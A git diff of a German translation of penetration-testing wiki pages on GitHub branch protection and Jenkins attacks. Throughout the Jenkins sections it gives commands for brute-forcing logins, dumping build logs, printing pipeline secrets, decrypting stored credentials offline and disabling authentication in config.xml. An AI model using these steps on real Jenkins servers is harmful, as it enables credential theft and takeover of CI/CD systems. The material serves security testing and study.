+Verschiedene Schutzmaßnahmen können auf einen Branch (wie auf master) angewendet werden:

- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- Sie können **eine PR vor dem Mergen verlangen** (so dass Sie Code nicht direkt über den Branch mergen können). Wenn dies ausgewählt ist, können verschiedene andere Schutzmaßnahmen in Kraft treten:
+- **Eine Anzahl von Genehmigungen verlangen**. Es ist sehr üblich, 1 oder 2 weitere Personen zu verlangen, die Ihre PR genehmigen, damit ein einzelner Benutzer nicht in der Lage ist, Code direkt zu mergen.
+- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**. Andernfalls könnte ein Benutzer legitimen Code genehmigen und dann bösartigen Code hinzufügen und mergen.
+- **Überprüfungen von Code-Eigentümern verlangen**. Mindestens 1 Code-Eigentümer des Repos muss die PR genehmigen (so dass "zufällige" Benutzer dies nicht genehmigen können).
+- **Einschränken, wer Pull-Request-Überprüfungen zurückweisen kann.** Sie können Personen oder Teams angeben, die berechtigt sind, Pull-Request-Überprüfungen zurückzuweisen.
+- **Bestimmten Akteuren erlauben, die Anforderungen an Pull-Requests zu umgehen**. Diese Benutzer können vorherige Einschränkungen umgehen.
+- **Statusprüfungen verlangen, die vor dem Mergen bestehen müssen.** Einige Prüfungen müssen bestehen, bevor der Commit gemergt werden kann (wie eine Github-Aktion, die überprüft, dass es kein Klartextgeheimnis gibt).
+- **Gespräche vor dem Mergen lösen.** Alle Kommentare zum Code müssen gelöst werden, bevor die PR gemergt werden kann.
+- **Signierte Commits verlangen**. Die Commits müssen signiert sein.
+- **Lineare Historie verlangen.** Verhindern, dass Merge-Commits in übereinstimmende Branches gepusht werden.
+- **Administratoren einbeziehen**. Wenn dies nicht festgelegt ist, können Administratoren die Einschränkungen umgehen.
+- **Einschränken, wer in übereinstimmende Branches pushen kann**. Einschränken, wer einen PR senden kann.

 > [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren**.

-## References
+## Referenzen

 - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
 - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
@@ -4,7 +4,7 @@

 ## Grundlegende Informationen

-Jenkins ist ein Tool, das eine unkomplizierte Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann.
+Jenkins ist ein Tool, das eine einfache Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann.

 {{#ref}}
 basic-jenkins-information.md
@@ -22,7 +22,7 @@ msf> use auxiliary/scanner/http/jenkins_command
 ```
 Ohne Anmeldeinformationen können Sie im _**/asynchPeople/**_ Pfad oder _**/securityRealm/user/admin/search/index?q=**_ nach **Benutzernamen** suchen.

-Sie können möglicherweise die Jenkins-Version aus dem Pfad _**/oops**_ oder _**/error**_ abrufen.
+Sie können möglicherweise die Jenkins-Version über den Pfad _**/oops**_ oder _**/error**_ abrufen.

 ### Bekannte Schwachstellen

@@ -48,7 +48,7 @@ Wenn **SSO** **Funktionalität**/**Plugins** vorhanden sind, sollten Sie versuch

 ### Bruteforce

-**Jenkins** hat keine **Passwortrichtlinie** und keine **Maßnahmen zur Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden könnten, sogar **umgekehrte Benutzernamen als Passwörter**.
+**Jenkins** hat keine **Passwortrichtlinie** und keine **Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden können, sogar **umgekehrte Benutzernamen als Passwörter**.
 ```
 msf> use auxiliary/scanner/http/jenkins_login
 ```
@@ -56,9 +56,9 @@ msf> use auxiliary/scanner/http/jenkins_login

 Verwenden Sie [dieses Python-Skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) oder [dieses PowerShell-Skript](https://github.com/chryzsh/JenkinsPasswordSpray).

-### IP-Whitelist-Umgehung
+### IP-Whitelisting-Umgehung

-Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbstgehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen.
+Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbst gehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen.

 Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **SCM-Plattformen**, die ihnen den Zugriff auf das **interne CI-System** über **Webhooks** ermöglichen. Es ist jedoch wichtig zu beachten, dass **jeder** ein **Konto** auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es **einen Webhook auslöst**, was potenziell Anfragen an das **interne CI-System** senden kann.

@@ -69,7 +69,7 @@ Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **S
 In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen.

 > [!WARNING]
-> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**-Mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.**
+> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.**

 Für weitere Informationen überprüfen Sie die grundlegenden Informationen:

@@ -89,13 +89,13 @@ python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build
 cd build_dumps
 gitleaks detect --no-git -v
 ```
-### **SSH-Anmeldeinformationen stehlen**
+### **Diebstahl von SSH-Anmeldeinformationen**

 Wenn der kompromittierte Benutzer **ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern** und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er **diese Anmeldeinformationen stehlen**, indem er einen Knoten erstellt/ändert und **einen Host festlegt, der die Anmeldeinformationen aufzeichnet**, ohne den Hostschlüssel zu überprüfen:

 ![](<../../images/image (218).png>)

-Sie finden Jenkins-SSH-Anmeldeinformationen normalerweise in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets).
+Sie finden normalerweise Jenkins-SSH-Anmeldeinformationen in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets).

 ### **RCE in Jenkins**

@@ -103,7 +103,7 @@ Einen **Shell-Zugang zum Jenkins-Server** zu erhalten, gibt dem Angreifer die M

 Standardmäßig wird Jenkins **als SYSTEM** ausgeführt. Das Kompromittieren von Jenkins gibt dem Angreifer **SYSTEM-Berechtigungen**.

-### **RCE durch Erstellen/Ändern eines Projekts**
+### **RCE Erstellen/Ändern eines Projekts**

 Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten:

@@ -119,7 +119,7 @@ Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was mögl
 jenkins-rce-with-groovy-script.md
 {{#endref}}

-### RCE durch Erstellen/Ändern einer Pipeline
+### RCE Erstellen/Ändern einer Pipeline

 Sie können auch **RCE erhalten, indem Sie eine Pipeline erstellen/ändern**:

@@ -137,10 +137,10 @@ Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben.

 ![](<../../images/image (127).png>)

-Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** (zum Beispiel in anderen Repositories) zu speichern, um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline zu **trennen**.
+Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** zu speichern (zum Beispiel in anderen Repositories), um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline **zu trennen**.

 Wenn ein Angreifer **Schreibzugriff auf diese Datei hat**, kann er sie **ändern** und die Pipeline **potenziell auslösen**, ohne überhaupt Zugriff auf Jenkins zu haben.\
-Es ist möglich, dass der Angreifer einige **Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten sie umgangen werden oder nicht).
+Es ist möglich, dass der Angreifer **einige Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten diese umgangen werden oder nicht).

 Die häufigsten Auslöser zum Ausführen einer benutzerdefinierten Pipeline sind:

@@ -186,7 +186,7 @@ Es gibt ein weiteres Problem: Um ein **Geheimnis innerhalb der env** einer Pipel
 ```
 ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
 ```
-Hier haben Sie die Möglichkeit, einige gängige Geheimnisarten zu laden:
+Hier ist die Möglichkeit, einige gängige Geheimnisarten zu laden:
 ```bash
 withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
 sh '''
@@ -214,15 +214,15 @@ env
 '''
 }
 ```
-Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen** finden: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen finden**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)

 > [!WARNING]
-> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel durch Ausführen einer Reverse-Shell im **eingebauten Knoten**) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\
+> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel einen Reverse-Shell im **eingebauten Knoten** auszuführen) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\
 > Mehr dazu im Abschnitt [Nodes & Agents](./#nodes-and-agents) und im Abschnitt [Post Exploitation](./#post-exploitation).

 ### Trigger

-Aus [den Dokumenten](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`.
+Aus [den Docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`.

 Cron-Beispiel:
 ```bash
@@ -240,13 +240,13 @@ Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
 basic-jenkins-information.md
 {{#endref}}

-Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den **`Built-In Node`** (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:
+Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den \*\*`Built-In Node` \*\* (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:

 ![](<../../images/image (249).png>)

 Es ist **besonders interessant, den Built-In Node zu kompromittieren**, da er sensible Jenkins-Informationen enthält.

-Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** **ausführen** möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:
+Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** ausführen möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:
 ```bash
 pipeline {
 agent {label 'built-in'}
@@ -312,7 +312,7 @@ msf> post/multi/gather/jenkins_gather
 ```
 ### Jenkins-Geheimnisse

-Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse innerhalb der `credentials.xml`-Datei auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
+Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse in der Datei `credentials.xml` auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.

 Wenn Sie **die Konfiguration jedes Projekts sehen können**, können Sie dort auch die **Namen der Anmeldeinformationen (Geheimnisse)** sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie **andere Anmeldeinformationen des Projekts**.

@@ -326,7 +326,7 @@ jenkins-dumping-secrets-from-groovy.md

 #### Vom Datenträger

-Diese Dateien werden benötigt, um **Jenkins-Geheimnisse zu entschlüsseln**:
+Diese Dateien sind erforderlich, um **Jenkins-Geheimnisse zu entschlüsseln**:

 - secrets/master.key
 - secrets/hudson.util.Secret
@@ -349,7 +349,7 @@ credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm
 ```
 #### Jenkins-Geheimnisse offline entschlüsseln

-Wenn Sie die **benötigten Passwörter zum Entschlüsseln der Geheimnisse** extrahiert haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py), **um diese Geheimnisse zu entschlüsseln**.
+Wenn Sie die **benötigten Passwörter zur Entschlüsselung der Geheimnisse** haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **um diese Geheimnisse zu entschlüsseln**.
 ```bash
 python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -357,13 +357,13 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
 NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
 ```
-#### Entschlüsseln von Jenkins-Geheimnissen aus Groovy
+#### Jenkins-Geheimnisse aus Groovy entschlüsseln
 ```bash
 println(hudson.util.Secret.decrypt("{...}"))
 ```
 ### Erstellen eines neuen Administrators

-1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkins\` zu.
+1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkis\` zu.
 2. Suchen Sie nach dem Wort `<useSecurity>true</useSecurity>` und ändern Sie das Wort **`true`** in **`false`**.
 1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
 3. **Starten** den **Jenkins**-Server neu: `service jenkins restart`
@@ -10,15 +10,15 @@ Der häufigste Weg, sich in Jenkins anzumelden, ist mit einem Benutzernamen oder

 ### Cookie

-Wenn ein **autorisierter Cookie gestohlen wird**, kann er verwendet werden, um auf die Sitzung des Benutzers zuzugreifen. Der Cookie wird normalerweise `JSESSIONID.*` genannt. (Ein Benutzer kann alle seine Sitzungen beenden, aber er müsste zuerst herausfinden, dass ein Cookie gestohlen wurde).
+Wenn ein **autorisierter Cookie gestohlen wird**, kann er verwendet werden, um auf die Sitzung des Benutzers zuzugreifen. Der Cookie wird normalerweise `JSESSIONID.*` genannt. (Ein Benutzer kann alle seine Sitzungen beenden, muss jedoch zuerst herausfinden, dass ein Cookie gestohlen wurde).

 ### SSO/Plugins

-Jenkins kann mit Plugins konfiguriert werden, um **über Dritte SSO zugänglich zu sein**.
+Jenkins kann mit Plugins konfiguriert werden, um **über Drittanbieter-SSO** zugänglich zu sein.

 ### Tokens

-**Benutzer können Tokens generieren**, um Anwendungen den Zugriff zu gewähren, um sie über CLI oder REST API zu impersonifizieren.
+**Benutzer können Tokens generieren**, um Anwendungen den Zugriff zu ermöglichen, um sie über CLI oder REST API zu impersonifizieren.

 ### SSH-Schlüssel

@@ -26,12 +26,12 @@ Diese Komponente bietet einen integrierten SSH-Server für Jenkins. Es ist eine

 ## Autorisierung

-In `/configureSecurity` ist es möglich, die **Autorisierungsmethode von Jenkins zu konfigurieren**. Es gibt mehrere Optionen:
+In `/configureSecurity` ist es möglich, die **Autorisierungsmethode von Jenkins** zu konfigurieren. Es gibt mehrere Optionen:

 - **Jeder kann alles tun**: Sogar anonymer Zugriff kann den Server verwalten.
- **Legacy-Modus**: Gleich wie Jenkins <1.164. Wenn Sie die **"Admin"-Rolle** haben, erhalten Sie **vollständige Kontrolle** über das System, und **ansonsten** (einschließlich **anonymer** Benutzer) haben Sie **Lesezugriff**.
+- **Legacy-Modus**: Gleich wie Jenkins <1.164. Wenn Sie die **"admin"-Rolle** haben, erhalten Sie **vollständige Kontrolle** über das System, und **ansonsten** (einschließlich **anonymer** Benutzer) haben Sie **Lesezugriff**.
 - **Eingeloggte Benutzer können alles tun**: In diesem Modus erhält jeder **eingeloggte Benutzer vollständige Kontrolle** über Jenkins. Der einzige Benutzer, der keine vollständige Kontrolle hat, ist der **anonyme Benutzer**, der nur **Lesezugriff** erhält.
- **Matrix-basierte Sicherheit**: Sie können **konfigurieren, wer was tun kann** in einer Tabelle. Jede **Spalte** repräsentiert eine **Berechtigung**. Jede **Zeile** **repräsentiert** einen **Benutzer oder eine Gruppe/Rolle.** Dies umfasst einen speziellen Benutzer '**anonym**', der **nicht authentifizierte Benutzer** repräsentiert, sowie '**authentifiziert**', der **alle authentifizierten Benutzer** repräsentiert.
+- **Matrix-basierte Sicherheit**: Sie können **konfigurieren, wer was tun kann** in einer Tabelle. Jede **Spalte** repräsentiert eine **Berechtigung**. Jede **Zeile** **repräsentiert** einen **Benutzer oder eine Gruppe/Rolle.** Dies umfasst einen speziellen Benutzer '**anonymous**', der **nicht authentifizierte Benutzer** repräsentiert, sowie '**authenticated**', der **alle authentifizierten Benutzer** repräsentiert.

 ![](<../../images/image (149).png>)

@@ -42,9 +42,9 @@ In `/configureSecurity` ist es möglich, die **Autorisierungsmethode von Jenkins

 In `/configureSecurity` ist es möglich, den **Sicherheitsbereich zu konfigurieren.** Standardmäßig unterstützt Jenkins einige verschiedene Sicherheitsbereiche:

- **An Servlet-Container delegieren**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/).
+- **Delegieren an den Servlet-Container**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/).
 - **Jenkins eigene Benutzerdatenbank:** Verwenden Sie **Jenkins eigene integrierte Benutzerdatenbank** zur Authentifizierung, anstatt an ein externes System zu delegieren. Dies ist standardmäßig aktiviert.
- **LDAP**: Delegiert die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen.
+- **LDAP**: Delegieren Sie die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen.
 - **Unix-Benutzer-/Gruppendatenbank**: **Delegiert die Authentifizierung an die zugrunde liegende Unix**-OS-Benutzerdatenbank auf dem Jenkins-Controller. Dieser Modus ermöglicht auch die Wiederverwendung von Unix-Gruppen für die Autorisierung.

 Plugins können zusätzliche Sicherheitsbereiche bereitstellen, die nützlich sein können, um Jenkins in bestehende Identitätssysteme zu integrieren, wie zum Beispiel:
@@ -59,17 +59,17 @@ Definitionen aus den [Docs](https://www.jenkins.io/doc/book/managing/nodes/):

 **Knoten** sind die **Maschinen**, auf denen die Build-**Agenten laufen**. Jenkins überwacht jeden angeschlossenen Knoten auf Speicherplatz, freien temporären Speicher, freien Swap, Uhrzeit/Synchronisation und Reaktionszeit. Ein Knoten wird offline genommen, wenn einer dieser Werte außerhalb des konfigurierten Schwellenwerts liegt.

-**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor verwenden**. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Werkzeuge, die für Builds und Tests erforderlich sind, werden auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine.
+**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor** verwenden. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Die für Builds und Tests erforderlichen Tools sind auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine.

-Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `Stufen`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können.
+Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `stages`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können.

 ## Jenkins-Geheimnisse

 ### Verschlüsselung von Geheimnissen und Anmeldeinformationen

-Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal als "Schlüsselverschlüsselungsschlüssel" in der Kryptojargon bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung generischer geheimer Daten oder über die Anmeldeinformations-API. Für die kryptografisch Neugierigen verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs umfassen:
+Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal in der Kryptosprache als "Key Encryption Key" bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung allgemeiner geheimer Daten oder über die Anmeldeinformations-API. Für die kryptokuriosen Benutzer verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs sind:

- `hudson.util.Secret`: verwendet für generische Geheimnisse;
+- `hudson.util.Secret`: verwendet für allgemeine Geheimnisse;
 - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: verwendet für einige Anmeldeinformationstypen;
 - `jenkins.model.Jenkins.crumbSalt`: verwendet vom [CSRF-Schutzmechanismus](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); und

@@ -77,7 +77,7 @@ Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/

 Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) zugewiesen werden, auf die von jedem konfigurierten Projekt zugegriffen werden kann, oder sie können auf **spezifische Projekte** (`/job/<project-name>/configure`) beschränkt werden und sind daher nur von dem spezifischen Projekt aus zugänglich.

-Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht in der regulären Ausgabe sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie nicht im Build-Protokoll offenbaren** für Benutzer, die sonst keinen Zugriff auf die Anmeldeinformationen hätten.
